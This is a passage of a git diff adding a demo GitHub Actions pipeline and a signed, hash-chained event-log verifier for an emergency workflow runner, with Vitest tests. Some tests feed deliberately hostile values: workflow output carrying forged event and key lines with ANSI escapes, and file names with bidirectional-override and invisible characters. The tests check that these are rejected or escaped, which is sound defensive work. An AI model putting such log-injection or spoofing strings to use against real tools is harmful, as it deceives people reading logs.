"node_modules/", ".fixtures/", "coverage/", "playwright-report/", "test-results/"] }, + { ignores: ["dist/", "dist-fixtures/", "review-screenshots/", "node_modules/", ".fixtures/", "examples/", "coverage/", "playwright-report/", "test-results/"] }, js.configs.recommended, ...tseslint.configs.recommended, { @@ -23,8 +23,10 @@ export default tseslint.config( { // Only the GitHub transport may call fetch for GitHub data (the fixture-only demo gallery reads its own // local index); nothing persists to browser storage. + // The emergency executor client is the one other network caller: only the same-origin emergency API + // (api/emergency/), never GitHub, and never with the GitHub token (docs/EMERGENCY_EXECUTION.md). files: ["src/**/*.{ts,tsx}"], - ignores: ["src/github/transport.ts", "src/fixture-mode/gallery.tsx", "src/**/*.test.ts"], + ignores: ["src/github/transport.ts", "src/fixture-mode/gallery.tsx", "src/emergency/executor-client.ts", "src/**/*.test.ts"], rules: { "no-restricted-globals": ["error", "fetch", "localStorage", "sessionStorage", "indexedDB"] }, }, { diff --git a/examples/emergency-demo-shared-actions/notify/action.yml b/examples/emergency-demo-shared-actions/notify/action.yml new file mode 100644 index 0000000..4eca05a --- /dev/null +++ b/examples/emergency-demo-shared-actions/notify/action.yml @@ -0,0 +1,12 @@ +name: Notify +description: Prints a notification and records it as an output (stands in for a shared organization action). +inputs: + message: + description: Message to send + required: true +outputs: + sent: + description: The message that was sent +runs: + using: node20 + main: index.js diff --git a/examples/emergency-demo-shared-actions/notify/index.js b/examples/emergency-demo-shared-actions/notify/index.js new file mode 100644 index 0000000..c106d7e --- /dev/null +++ b/examples/emergency-demo-shared-actions/notify/index.js @@ -0,0 +1,13 @@ +"use strict"; +// A dependency-free JavaScript action: reads its input, prints a notice and sets an output. +const { appendFileSync } = require("node:fs"); +const { randomUUID } = require("node:crypto"); + +const message = (process.env.INPUT_MESSAGE ?? "").trim(); +if (!message) { + console.log("::error::message is required"); + process.exit(1); +} +console.log(`::notice title=Notify::${message}`); +const delimiter = `ghadelimiter_${randomUUID()}`; +appendFileSync(process.env.GITHUB_OUTPUT, `sent<<${delimiter}\n${message}\n${delimiter}\n`); diff --git a/examples/emergency-demo/.github/actions/stamp/action.yml b/examples/emergency-demo/.github/actions/stamp/action.yml new file mode 100644 index 0000000..0a1d2f1 --- /dev/null +++ b/examples/emergency-demo/.github/actions/stamp/action.yml @@ -0,0 +1,15 @@ +name: Stamp build +description: Computes a signed build stamp from the version and a signing key. +inputs: + version: + description: Version being built + required: true + signing-key: + description: Key used to sign the stamp (a secret) + required: true +outputs: + stamp: + description: The signed stamp +runs: + using: node20 + main: dist/index.js diff --git a/examples/emergency-demo/.github/actions/stamp/dist/index.js b/examples/emergency-demo/.github/actions/stamp/dist/index.js new file mode 100644 index 0000000..7271b67 --- /dev/null +++ b/examples/emergency-demo/.github/actions/stamp/dist/index.js @@ -0,0 +1,24 @@ +"use strict"; +// Build output of ../src/index.ts (TypeScript compiled to CommonJS by hand-equivalent transpilation; no dependencies). +const { createHmac } = require("node:crypto"); +const { appendFileSync } = require("node:fs"); + +function input(name) { + return (process.env[`INPUT_${name.replace(/ /g, "_").toUpperCase()}`] ?? "").trim(); +} + +function setOutput(name, value) { + const file = process.env.GITHUB_OUTPUT; + if (!file) throw new Error("GITHUB_OUTPUT is not set"); + appendFileSync(file, `${name}=${value}\n`); +} + +const version = input("version"); +const key = input("signing-key"); +if (!version || !key) { + console.log("::error::version and signing-key are required"); + process.exit(1); +} +const stamp = `${version}+${createHmac("sha256", key).update(version).digest("hex").slice(0, 12)}`; +console.log(`Stamped ${version} as ${stamp}`); +setOutput("stamp", stamp); diff --git a/examples/emergency-demo/.github/actions/stamp/src/index.ts b/examples/emergency-demo/.github/actions/stamp/src/index.ts new file mode 100644 index 0000000..a348f6c --- /dev/null +++ b/examples/emergency-demo/.github/actions/stamp/src/index.ts @@ -0,0 +1,24 @@ +// Source of the stamp action. dist/index.js is its committed build output (plain JavaScript, no dependencies), +// which is what action.yml runs, as with any published JavaScript action. +import { createHmac } from "node:crypto"; +import { appendFileSync } from "node:fs"; + +function input(name: string): string { + return (process.env[`INPUT_${name.replace(/ /g, "_").toUpperCase()}`] ?? "").trim(); +} + +function setOutput(name: string, value: string): void { + const file = process.env.GITHUB_OUTPUT; + if (!file) throw new Error("GITHUB_OUTPUT is not set"); + appendFileSync(file, `${name}=${value}\n`); +} + +const version = input("version"); +const key = input("signing-key"); +if (!version || !key) { + console.log("::error::version and signing-key are required"); + process.exit(1); +} +const stamp = `${version}+${createHmac("sha256", key).update(version).digest("hex").slice(0, 12)}`; +console.log(`Stamped ${version} as ${stamp}`); +setOutput("stamp", stamp); diff --git a/examples/emergency-demo/.github/actions/summarize/action.yml b/examples/emergency-demo/.github/actions/summarize/action.yml new file mode 100644 index 0000000..aaa8e03 --- /dev/null +++ b/examples/emergency-demo/.github/actions/summarize/action.yml @@ -0,0 +1,28 @@ +name: Summarize release +description: Builds a one-line release summary and writes the job summary. +inputs: + version: + required: true + checksum: + required: true + stamp: + required: true +outputs: + line: + description: The summary line + value: ${{ steps.line.outputs.text }} +runs: + using: composite + steps: + - id: line + shell: bash + run: | + text="version=${{ inputs.version }} checksum=${{ inputs.checksum }} stamp=${{ inputs.stamp }}" + echo "text=${text}" >> "$GITHUB_OUTPUT" + echo "${text}" + - shell: python + run: | + import os + with open(os.environ["GITHUB_STEP_SUMMARY"], "a", encoding="utf-8") as f: + f.write("## Emergency demo release\n\n${{ inputs.version }}\n") + print("Job summary written") diff --git a/examples/emergency-demo/.github/workflows/build.yml b/examples/emergency-demo/.github/workflows/build.yml new file mode 100644 index 0000000..d15a569 --- /dev/null +++ b/examples/emergency-demo/.github/workflows/build.yml @@ -0,0 +1,50 @@ +name: Build (reusable) +on: + workflow_call: + inputs: + version: + type: string + required: true + secrets: + signing-key: + required: true + outputs: + stamp: + description: Signed build stamp + value: ${{ jobs.compile.outputs.stamp }} + checksum: + description: Checksum of the packaged sources + value: ${{ jobs.package.outputs.checksum }} + +jobs: + compile: + runs-on: ubuntu-latest + outputs: + stamp: ${{ steps.stamp.outputs.stamp }} + steps: + - uses: actions/checkout@v4 + - id: stamp + name: Stamp build (local JavaScript action) + uses: ./.github/actions/stamp + with: + version: ${{ inputs.version }} + signing-key: ${{ secrets.signing-key }} + - name: Notify (external JavaScript action) + uses: demo-org/shared-actions/notify@v1 + with: + message: Built ${{ inputs.version }} with stamp ${{ steps.stamp.outputs.stamp }} + - name: Compile (shell script) + run: bash scripts/build.sh "${{ inputs.version }}" + + package: + needs: compile + runs-on: ubuntu-latest + outputs: + checksum: ${{ steps.sum.outputs.checksum }} + steps: + - uses: actions/checkout@v4 + - id: sum + name: Checksum sources (Python script) + run: python3 scripts/checksum.py src/app + - name: Verify (shell script) + run: bash scripts/verify.sh "${{ steps.sum.outputs.checksum }}" "${{ needs.compile.outputs.stamp }}" diff --git a/examples/emergency-demo/.github/workflows/release.yml b/examples/emergency-demo/.github/workflows/release.yml new file mode 100644 index 0000000..b43af3d --- /dev/null +++ b/examples/emergency-demo/.github/workflows/release.yml @@ -0,0 +1,51 @@ +name: Release +on: + push: + branches: [main] + workflow_dispatch: + inputs: + version: + description: Version to build + required: true + default: "1.4.0" + +env: + APP_NAME: emergency-demo + +jobs: + prepare: + runs-on: ubuntu-latest + outputs: + version: ${{ steps.meta.outputs.version }} + steps: + - uses: actions/checkout@v4 + - id: meta + name: Read version + run: | + version="${{ inputs.version }}" + if [ -z "$version" ]; then version="$(cat src/app/VERSION)"; fi + echo "version=${version}" >> "$GITHUB_OUTPUT" + echo "Preparing ${APP_NAME} ${version}" + + build: + needs: prepare + uses: ./.github/workflows/build.yml + with: + version: ${{ needs.prepare.outputs.version }} + secrets: + signing-key: ${{ secrets.DEMO_SIGNING_KEY }} + + report: + needs: [prepare, build] + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - id: summary + name: Summarize (composite action) + uses: ./.github/actions/summarize + with: + version: ${{ needs.prepare.outputs.version }} + checksum: ${{ needs.build.outputs.checksum }} + stamp: ${{ needs.build.outputs.stamp }} + - name: Show summary + run: echo "Release summary - ${{ steps.summary.outputs.line }}" diff --git a/examples/emergency-demo/README.md b/examples/emergency-demo/README.md new file mode 100644 index 0000000..5604a10 --- /dev/null +++ b/examples/emergency-demo/README.md @@ -0,0 +1,14 @@ +# Emergency execution demo pipeline + +A small pipeline used to demonstrate and test emergency execution (`docs/EMERGENCY_EXECUTION.md`). + +- `.github/workflows/release.yml` calls the reusable workflow `build.yml`, then summarizes with a composite action. +- `build.yml` (`workflow_call`) runs: + - the local JavaScript action `stamp` (TypeScript source in `src/`, committed build in `dist/`); + - the external JavaScript action `demo-org/shared-actions/notify@v1` (served from `../emergency-demo-shared-actions` in fixture mode); + - a shell script (`scripts/build.sh`), a Python script (`scripts/checksum.py`) and `scripts/verify.sh`, in two dependent jobs. +- It needs one secret, `DEMO_SIGNING_KEY`, and one input, `version`. + +In fixture mode the app serves this directory as the repository `emergency-demo/release-pipeline` (branch `main`) +and `../emergency-demo-shared-actions` as `demo-org/shared-actions` (tag `v1`). +To use it in live mode, push both to repositories you own and change the `uses:` reference to the notify action. diff --git a/examples/emergency-demo/scripts/build.sh b/examples/emergency-demo/scripts/build.sh new file mode 100644 index 0000000..4db866d --- /dev/null +++ b/examples/emergency-demo/scripts/build.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash +# Compiles the demo "application": concatenates the sources into build/app.txt with the version. +set -euo pipefail +version="${1:?version required}" +mkdir -p build +{ + echo "emergency-demo ${version}" + cat src/app/main.txt +} > build/app.txt +echo "Compiled build/app.txt ($(wc -l < build/app.txt) lines)" diff --git a/examples/emergency-demo/scripts/checksum.py b/examples/emergency-demo/scripts/checksum.py new file mode 100644 index 0000000..ca723da --- /dev/null +++ b/examples/emergency-demo/scripts/checksum.py @@ -0,0 +1,22 @@ +"""Prints a sha256 over the files of a directory and writes it as the step output `checksum`.""" +import hashlib +import os +import sys + + +def checksum(root: str) -> str: + digest = hashlib.sha256() + for dirpath, _dirs, files in sorted(os.walk(root)): + for name in sorted(files): + path = os.path.join(dirpath, name) + digest.update(os.path.relpath(path, root).replace(os.sep, "/").encode()) + with open(path, "rb") as f: + digest.update(f.read()) + return digest.hexdigest()[:16] + + +if __name__ == "__main__": + value = checksum(sys.argv[1]) + print(f"Checksum of {sys.argv[1]}: {value}") + with open(os.environ["GITHUB_OUTPUT"], "a", encoding="utf-8") as out: + out.write(f"checksum={value}\n") diff --git a/examples/emergency-demo/scripts/verify.sh b/examples/emergency-demo/scripts/verify.sh new file mode 100644 index 0000000..bf222a8 --- /dev/null +++ b/examples/emergency-demo/scripts/verify.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# Checks that the checksum and stamp produced by earlier jobs look right. +set -euo pipefail +checksum="${1:?checksum required}" +stamp="${2:?stamp required}" +[[ "${checksum}" =~ ^[0-9a-f]{16}$ ]] || { echo "::error::bad checksum ${checksum}"; exit 1; } +[[ "${stamp}" =~ ^[0-9.]+\+[0-9a-f]{12}$ ]] || { echo "::error::bad stamp ${stamp}"; exit 1; } +echo "Verified checksum ${checksum} and stamp ${stamp}" diff --git a/examples/emergency-demo/src/app/VERSION b/examples/emergency-demo/src/app/VERSION new file mode 100644 index 0000000..88c5fb8 --- /dev/null +++ b/examples/emergency-demo/src/app/VERSION @@ -0,0 +1 @@ +1.4.0 diff --git a/examples/emergency-demo/src/app/main.txt b/examples/emergency-demo/src/app/main.txt new file mode 100644 index 0000000..d2a7f2c --- /dev/null +++ b/examples/emergency-demo/src/app/main.txt @@ -0,0 +1,2 @@ +Hello from the emergency demo application. +This file is packaged into the snapshot and checksummed during the build. diff --git a/src/emergency/event-stream.test.ts b/src/emergency/event-stream.test.ts new file mode 100644 index 0000000..ee88433 --- /dev/null +++ b/src/emergency/event-stream.test.ts @@ -0,0 +1,109 @@ +import { describe, expect, it } from "vitest"; +import { createEventWriter } from "../../deploy/emergency/runner/event-signer.ts"; +import { ed25519EventSigner, eventSigner, judgeExecution, sanitizeText, verifyEventStream, type EventVerification } from "./event-stream.ts"; +import { EVENT_PREFIX, KEY_PREFIX } from "./events.ts"; + +const EXEC = "0123456789abcdef"; +const V: EventVerification = { kind: "ed25519", execution: EXEC }; +const AT = "2026-10-30T12:00:00.000Z"; + +/** A run as the runner writes it: its synchronous writer and its own key pair, the format the executor verifies. */ +function runnerLog(events: object[], execution = EXEC): string { + let text = ""; + const emit = createEventWriter(execution, (line) => (text += line)); + for (const e of events) emit({ at: AT, ...e }); + return text; +} + +const start = { type: "execution-start", executionId: EXEC, digest: "a".repeat(64), workflow: "w.yml", source: { repository: "o/r", sha: "1".repeat(40) } }; +const succeeded = [ + start, + { type: "job-start", job: "j", name: "j", workflow: "w.yml", needs: [] }, + { type: "step-start", job: "j", step: 1, name: "s", kind: "run" }, + { type: "step-end", job: "j", step: 1, outcome: "success", conclusion: "success", exitCode: 0, durationMs: 1, outputs: {} }, + { type: "job-end", job: "j", result: "success", outputs: {} }, + { type: "execution-end", result: "success", durationMs: 2, outputs: {} }, +]; + +describe("runner event stream (security review H3, signed with the runner's own key since H2)", () => { + it("verifies what the runner writes: its public key first, then signed, chained events; the Web Crypto signer writes the same format", async () => { + const text = runnerLog(succeeded); + expect(text.split("\n")[0]).toMatch(new RegExp(`^${KEY_PREFIX.replace(/[-:]/g, "\\$&")}\\{"v":2,"alg":"Ed25519","publicKey":"[0-9a-f]{64}","execution":"${EXEC}"\\}$`)); + expect(await verifyEventStream(text, V)).toMatchObject({ integrity: { ok: true, complete: true, events: 6 } }); + const signer = await ed25519EventSigner(EXEC); + let same = `${signer.keyLine}\n`; + for (const e of succeeded) same += `${await signer.sign({ at: AT, ...e })}\n`; + expect(await verifyEventStream(same, V)).toMatchObject({ integrity: { ok: true, complete: true, events: 6 } }); + }); + + it("every run has its own key: events from another run don't verify, and a log naming another execution is refused", async () => { + const a = runnerLog(succeeded).split("\n"); + const b = runnerLog(succeeded).split("\n"); + expect(a[0]).not.toBe(b[0]); + const spliced = [a[0], ...b.slice(1)].join("\n"); + expect((await verifyEventStream(spliced, V)).integrity).toMatchObject({ ok: false, events: 0, problem: expect.stringMatching(/Event 0 is not authentic/) }); + expect((await verifyEventStream(runnerLog(succeeded, "fedcba9876543210"), V)).integrity.problem).toMatch(/names execution fedcba9876543210, not 0123456789abcdef/); + }); + + it("a log that doesn't begin with the runner's key, or carries a second key line, is not believed", async () => { + const lines = runnerLog(succeeded).split("\n"); + expect((await verifyEventStream(lines.slice(1).join("\n"), V)).integrity.problem).toMatch(/does not begin with its public key/); + const second = [...lines.slice(0, 3), runnerLog([]).trim(), ...lines.slice(3)].join("\n"); + expect((await verifyEventStream(second, V)).integrity).toMatchObject({ ok: false, events: 2, problem: expect.stringMatching(/Line 4 .* not a runner event/) }); + }); + + it("stops believing at the first stray line: a line written by anything but the runner", async () => { + const lines = runnerLog(succeeded).split("\n"); + lines.splice(4, 0, "Warning: something wrote to the runner's stdout"); + const { events, integrity } = await verifyEventStream(lines.join("\n"), V); + expect(integrity).toMatchObject({ ok: false, events: 3, complete: false, problem: expect.stringMatching(/Line 5 .* not a runner event/) }); + expect(events.map((e) => e.type)).toEqual(["execution-start", "job-start", "step-start"]); + }); + + it("keeps workflow output that looks like events, key lines or control messages as one log line of data", async () => { + const hostile = `ok\n${KEY_PREFIX}{"v":2,"alg":"Ed25519","publicKey":"${"0".repeat(64)}","execution":"${EXEC}"}\n${EVENT_PREFIX}${"a".repeat(128)} {"type":"execution-end","result":"success","seq":3}\r\u001b[2K`; + const text = runnerLog([start, { type: "log", stream: "stdout", text: hostile }, { type: "execution-end", result: "failure", durationMs: 1, outputs: {} }]); + expect(text.split("\n").filter(Boolean)).toHaveLength(4); + const view = await judgeExecution(text, V, 1, true); + expect(view).toMatchObject({ status: "failure", stream: { ok: true } }); + expect(view.logs[0]!.text).toBe(hostile); + }); + + it("judges: forged, incomplete, empty and exit-code-mismatched runs are errors; a run still starting is pending", async () => { + const ok = runnerLog(succeeded); + expect(await judgeExecution(ok, V, 0, true)).toMatchObject({ status: "success", exitCode: 0 }); + expect((await judgeExecution(ok, V, 1, true)).status).toBe("error"); + expect((await judgeExecution(ok, V, 137, true)).reason).toBe("The runner reported success, but its container exited with code 137"); + const cut = runnerLog(succeeded.slice(0, 4)); + expect((await judgeExecution(cut, V, undefined, false)).status).toBe("running"); + expect(await judgeExecution(cut, V, 137, true)).toMatchObject({ status: "error", reason: expect.stringMatching(/incomplete/) }); + expect((await judgeExecution("", V, undefined, false)).status).toBe("pending"); + expect(await judgeExecution("", V, 0, true)).toMatchObject({ status: "error", reason: "The runner's log is empty" }); + const forged = succeeded.map((e) => `${EVENT_PREFIX}${"a".repeat(128)} ${JSON.stringify({ at: AT, ...e })}`).join("\n"); + expect((await judgeExecution(forged, V, 0, true)).status).toBe("error"); + }); + + it("executions recorded under H3 still verify with the key the executor kept; older ones are unverifiable", async () => { + const key = "0123456789abcdef".repeat(4); + const sign = await eventSigner(key); + let h3 = ""; + for (const e of succeeded) h3 += `${await sign({ at: AT, ...e })}\n`; + expect(await judgeExecution(h3, { kind: "hmac", key }, 0, true)).toMatchObject({ status: "success", stream: { ok: true } }); + expect((await judgeExecution(h3, { kind: "hmac", key: "f".repeat(64) }, 0, true)).status).toBe("error"); + // An H3-era log can't pass as a current one, nor the reverse. + expect((await judgeExecution(h3, V, 0, true)).status).toBe("error"); + expect((await judgeExecution(runnerLog(succeeded), { kind: "hmac", key }, 0, true)).status).toBe("error"); + const legacy = succeeded.map((e) => `${EVENT_PREFIX}${JSON.stringify({ at: AT, ...e })}`).join("\n"); + expect(await judgeExecution(legacy, { kind: "legacy" }, 0, true)).toMatchObject({ status: "success", stream: { legacy: true, ok: false } }); + await expect(verifyEventStream("", { kind: "hmac", key: "abc" })).rejects.toThrow(/32 bytes/); + }); +}); + +describe("sanitizeText", () => { + it("makes control characters, ANSI escapes and bidirectional or invisible formatting visible; keeps tabs and text", () => { + expect(sanitizeText("a\tb \u00e9 \u4e2d")).toBe("a\tb \u00e9 \u4e2d"); + expect(sanitizeText("done\r\u001b[2K\u001b[32mPASS")).toBe("done\\x0d\\x1b[2K\\x1b[32mPASS"); + expect(sanitizeText("x\u0000\u0007\u007f\u009b")).toBe("x\\x00\\x07\\x7f\\x9b"); + expect(sanitizeText("file\u202etxt.exe\u200b\u2066\ufeff")).toBe("file\\u202etxt.exe\\u200b\\u2066\\ufeff"); + }); +}); diff --git a/src/emergency/event-stream.ts b/src/emergency/event-stream.ts new file mode 100644 index 0000000..5a34cd9 --- /dev/null +++ b/src/emergency/event-stream.ts @@ -0,0 +1,208 @@ +// Integrity of the runner's event stream (security review H3). Pure: Web Crypto only. +// +// Only the runner writes to its stdout: it runs non-dumpable (deploy/emergency/runner/main.ts), so workflow processes, +// which run as the same user, can't reopen its stdout through /proc, read its memory or attach to it; their own +// output reaches the runner only through pipes it reads and wraps as data in `log` events. On top of that every +// event line is signed, and chained to the one before it, so the executor detects any event that was forged, +// altered, removed, reordered or inserted, and a stream that was cut short (log truncation or rotation, a killed +// runner). Events after the first break are not believed. A line that isn't an event means something other than the +// runner wrote to its log, which breaks the stream too. +// +// Two formats: +// - "ed25519" (security review H2, current): the runner generates a key pair when it starts, in its protected +// memory, and writes the public key as the first line of its log, before any workflow process exists. No secret +// leaves the runner: nothing in the Job, the pod, the executor's records or the API can sign an event. +// KEY_PREFIX {"v":2,"alg":"Ed25519","publicKey":,"execution":} +// EVENT_PREFIX json includes "seq": 0, 1, 2, ... +// signature = Ed25519(private key, + json), the first event chaining from the key line's JSON +// - "hmac" (H3, executions recorded before H2): a per-execution key the executor generated and passed in the Job's +// environment, where anyone able to read the Job could see it. Still verified, with the key the executor kept. +// EVENT_PREFIX , mac = HMAC-SHA256(key, + json), chaining from GENESIS +import { EVENT_PREFIX, KEY_PREFIX, summarize, type ExecutionView, type RunnerEvent } from "./events.ts"; + +export const GENESIS = "0".repeat(64); + +export type StreamIntegrity = { + ok: boolean; + /** Events accepted (a prefix of the stream when it is broken). */ + events: number; + /** The stream ends with execution-end. */ + complete: boolean; + /** An execution from before event authentication (H3): readable but not verifiable. */ + legacy?: boolean; + problem?: string; +}; + +const hex = (b: ArrayBuffer) => [...new Uint8Array(b)].map((x) => x.toString(16).padStart(2, "0")).join(""); +const unhex = (s: string) => { + const out = new Uint8Array(s.length / 2); + for (let i = 0; i < out.length; i++) out[i] = parseInt(s.slice(2 * i, 2 * i + 2), 16); + return out; +}; + +/** + * How an execution's events are verified: the executor's own record of the execution, never something in the log. + * - ed25519: the public key on the log's first line, which must name this execution; + * - hmac: the key the executor generated for it (H3, executions from before H2); + * - legacy: recorded before event authentication (H3); readable, not verifiable. + */ +export type EventVerification = { kind: "ed25519"; execution: string } | { kind: "hmac"; key: string } | { kind: "legacy" }; + +/** An Ed25519 signer, as the runner signs (Web Crypto twin of deploy/emergency/runner/event-signer.ts, for tests). */ +export async function ed25519EventSigner(execution: string): Promise<{ keyLine: string; sign: (e: object) => Promise }> { + const pair = (await crypto.subtle.generateKey({ name: "Ed25519" }, false, ["sign", "verify"])) as CryptoKeyPair; + const keyJson = JSON.stringify({ v: 2, alg: "Ed25519", publicKey: hex(await crypto.subtle.exportKey("raw", pair.publicKey)), execution }); + let seq = 0; + let prev = keyJson; + return { + keyLine: `${KEY_PREFIX}${keyJson}`, + sign: async (e: object) => { + const json = JSON.stringify({ ...e, seq: seq++ }); + prev = hex(await crypto.subtle.sign({ name: "Ed25519" }, pair.privateKey, new TextEncoder().encode(prev + json))); + return `${EVENT_PREFIX}${prev} ${json}`; + }, + }; +} + +/** Signs event lines with an executor-generated key (the H3 format, kept to test historical executions). */ +export async function eventSigner(keyHex: string): Promise<(e: object) => Promise> { + const key = await importKey(keyHex); + let seq = 0; + let prev = GENESIS; + return async (e: object) => { + const json = JSON.stringify({ ...e, seq: seq++ }); + prev = hex(await crypto.subtle.sign("HMAC", key, new TextEncoder().encode(prev + json))); + return `${EVENT_PREFIX}${prev} ${json}`; + }; +} + +async function importKey(keyHex: string): Promise { + if (!/^[0-9a-f]{64}$/.test(keyHex)) throw new Error("The event key must be 32 bytes, hex-encoded"); + return crypto.subtle.importKey("raw", unhex(keyHex), { name: "HMAC", hash: "SHA-256" }, false, ["sign", "verify"]); +} + +/** Reads the Ed25519 key line; undefined with a reason when it isn't this execution's. */ +async function ed25519Key(line: string | undefined, execution: string): Promise<{ key?: CryptoKey; chain?: string; problem?: string }> { + if (!line?.startsWith(KEY_PREFIX)) return { problem: "The runner's log does not begin with its public key" }; + const json = line.slice(KEY_PREFIX.length); + let k: { v?: unknown; alg?: unknown; publicKey?: unknown; execution?: unknown }; + try { + k = JSON.parse(json) as typeof k; + } catch { + return { problem: "The runner's key line is not valid JSON" }; + } + if (k.v !== 2 || k.alg !== "Ed25519" || typeof k.publicKey !== "string" || !/^[0-9a-f]{64}$/.test(k.publicKey)) return { problem: "The runner's key line is malformed" }; + if (k.execution !== execution) return { problem: `The runner's key line names execution ${String(k.execution)}, not ${execution}` }; + return { key: await crypto.subtle.importKey("raw", unhex(k.publicKey), { name: "Ed25519" }, false, ["verify"]), chain: json }; +} + +/** The runner's events from its log, believed only as far as they verify (see EventVerification). */ +export async function verifyEventStream(text: string, verification: EventVerification): Promise<{ events: RunnerEvent[]; integrity: StreamIntegrity }> { + const lines = text.split("\n"); + if (lines.at(-1) === "") lines.pop(); + if (verification.kind === "legacy") { + const events = lines.flatMap((l) => { + if (!l.startsWith(EVENT_PREFIX)) return []; + try { + return [JSON.parse(l.slice(EVENT_PREFIX.length)) as RunnerEvent]; + } catch { + return []; + } + }); + return { events, integrity: { ok: false, legacy: true, events: events.length, complete: events.at(-1)?.type === "execution-end", problem: "Recorded before event authentication (security review H3): not verifiable" } }; + } + let verify: (signature: Uint8Array, data: Uint8Array) => Promise; + let prev: string; + let first = 0; + const signatureLength = verification.kind === "ed25519" ? 128 : 64; + if (verification.kind === "ed25519") { + const k = await ed25519Key(lines[0], verification.execution); + if (!k.key) return { events: [], integrity: { ok: false, events: 0, complete: false, problem: k.problem } }; + verify = (signature, data) => crypto.subtle.verify({ name: "Ed25519" }, k.key!, signature, data); + prev = k.chain!; + first = 1; + } else { + const key = await importKey(verification.key); + verify = (signature, data) => crypto.subtle.verify("HMAC", key, signature, data); + prev = GENESIS; + } + const events: RunnerEvent[] = []; + let problem: string | undefined; + for (const [i, line] of lines.entries()) { + if (i < first) continue; + const m = line.startsWith(EVENT_PREFIX) ? new RegExp(`^([0-9a-f]{${signatureLength}}) (.*)$`, "s").exec(line.slice(EVENT_PREFIX.length)) : null; + if (!m) { + problem = `Line ${i + 1} of the runner's log is not a runner event: something other than the runner wrote to it`; + break; + } + const [, mac, json] = m as unknown as [string, string, string]; + if (!(await verify(unhex(mac), new TextEncoder().encode(prev + json)))) { + problem = `Event ${events.length} is not authentic: it was forged, altered, or events before it were removed or reordered`; + break; + } + let e: RunnerEvent & { seq?: unknown }; + try { + e = JSON.parse(json) as RunnerEvent & { seq?: unknown }; + } catch { + problem = `Event ${events.length} is not valid JSON`; + break; + } + // Authentic events are well-formed; these checks guard against a runner bug, not an attacker. + if (e.seq !== events.length) { + problem = `Event sequence broken at ${events.length} (found ${String(e.seq)})`; + break; + } + if (events.length === 0 && e.type !== "execution-start" && e.type !== "execution-end") { + problem = "The stream does not begin with execution-start"; + break; + } + if (events.at(-1)?.type === "execution-end") { + problem = "Events follow execution-end"; + break; + } + events.push(e); + prev = mac; + } + const complete = events.at(-1)?.type === "execution-end"; + return { events, integrity: { ok: !problem, events: events.length, complete, problem } }; +} + +/** + * The execution's view from the runner's log, as the executor reports it. Only authentic events are believed; a + * finished run needs the runner's authentic final event, and that result must agree with the runner container's + * exit code from Kubernetes (0 for success, otherwise failure). Anything else is an error, never success. Legacy + * executions are reported as their events say, marked unverifiable. + */ +export async function judgeExecution(text: string, verification: EventVerification, exitCode: number | undefined, finished: boolean): Promise { + const { events, integrity } = await verifyEventStream(text, verification); + const view = summarize(events); + view.stream = integrity; + view.exitCode = exitCode; + if (finished && !text && verification.kind === "ed25519") { + view.status = "error"; + view.reason = "The runner's log is empty"; + } else if (!integrity.ok && !integrity.legacy && (text || verification.kind !== "ed25519")) { + view.status = "error"; + view.reason = `The runner's event stream failed verification: ${integrity.problem}`; + } else if (finished && integrity.events > 0 && !integrity.complete) { + view.status = "error"; + view.reason = "The runner's event stream is incomplete: its final result was not recorded"; + } else if (finished && integrity.complete && exitCode !== undefined && (view.status === "success") !== (exitCode === 0)) { + view.reason = `The runner reported ${view.status}, but its container exited with code ${exitCode}`; + view.status = "error"; + } + return view; +} + +/** + * Untrusted text (workflow output, names from workflow files) made safe to display: control characters (other than + * tab), ANSI escape sequences and Unicode bidirectional/invisible formatting characters become visible escapes, so + * workflow output can't rewrite a terminal line, hide text or reorder what a reader sees. + */ +export function sanitizeText(text: string): string { + // eslint-disable-next-line no-control-regex -- matching control characters is the point + return text.replace(/[\x00-\x08\x0b-\x1f\x7f-\x9f\u200b-\u200f\u202a-\u202e\u2060-\u2069\ufeff]/g, (c) => { + const code = c.charCodeAt(0); + return code < 0x100 ? `\\x${code.toString(16).padStart(2, "0")}` : `\\u${code.toString(16).padStart(4, "0")}`; + }); +} diff --git a/src/emergency/events.ts b/src/emergency/events.ts new file mode 100644 index 0000000..e62b41b --- /dev/null +++ b/src/emergency/events.ts @@ -0,0 +1,101 @@ +// The emergency runner's events: one per line of its stdout, prefixed with EVENT_PREFIX and authenticated with the +// execution's key (event-stream.ts reads and verifies them). The runner masks secret values and sanitizes workflow +// text before emitting, so events never carry them. `summarize` folds events into the view the executor +// returns and the UI shows. Pure. + +export const EVENT_PREFIX = "::gha-emergency::"; +/** The runner's first log line: its public key for this execution (security review H2, event-stream.ts). */ +export const KEY_PREFIX = "::gha-emergency-key::"; +/** Result lines of the network canary (deploy/emergency/runner/canary.ts, read by network-check.ts). */ +export const CANARY_PREFIX = "::gha-emergency-canary::"; + +export type StepResult = "success" | "failure" | "skipped" | "cancelled"; + +export type RunnerEvent = + | { type: "execution-start"; at: string; executionId: string; digest: string; workflow: string; source: { repository: string; sha: string } } + | { type: "verify"; at: string; ok: boolean; files: number; problems: string[] } + | { type: "network"; at: string; host: string; reachable: boolean; detail: string } + | { type: "job-start"; at: string; job: string; name: string; workflow: string; needs: string[] } + | { type: "job-end"; at: string; job: string; result: StepResult; outputs: Record; reason?: string } + | { type: "step-start"; at: string; job: string; step: number; name: string; kind: string; detail?: string } + | { type: "step-end"; at: string; job: string; step: number; outcome: StepResult; conclusion: StepResult; exitCode: number | null; durationMs: number; outputs: Record; reason?: string } + | { type: "log"; at: string; job?: string; step?: number; stream: "stdout" | "stderr" | "runner"; text: string } + /** Reported by workflow code (::error:: and the like): the workflow's claim, not the runner's finding. */ + | { type: "annotation"; at: string; job?: string; step?: number; level: "error" | "warning" | "notice"; message: string; source?: "workflow" } + | { type: "execution-end"; at: string; result: StepResult; durationMs: number; outputs: Record; reason?: string }; + +export type StepView = { step: number; name: string; kind: string; detail?: string; status: "running" | StepResult; exitCode: number | null; durationMs?: number; outputs: Record; reason?: string; logs: number[] }; +export type JobView = { job: string; name: string; workflow: string; needs: string[]; status: "running" | StepResult; outputs: Record; reason?: string; steps: StepView[]; order: number }; +export type ExecutionView = { + status: "pending" | "running" | StepResult | "error"; + digest?: string; + workflow?: string; + source?: { repository: string; sha: string }; + verified?: { ok: boolean; files: number; problems: string[] }; + network: { host: string; reachable: boolean; detail: string }[]; + jobs: JobView[]; + /** Log lines; steps refer to them by index. */ + logs: { stream: string; text: string; job?: string; step?: number }[]; + annotations: { level: string; message: string; job?: string; step?: number; source?: string }[]; + /** The executor's check of the runner's event 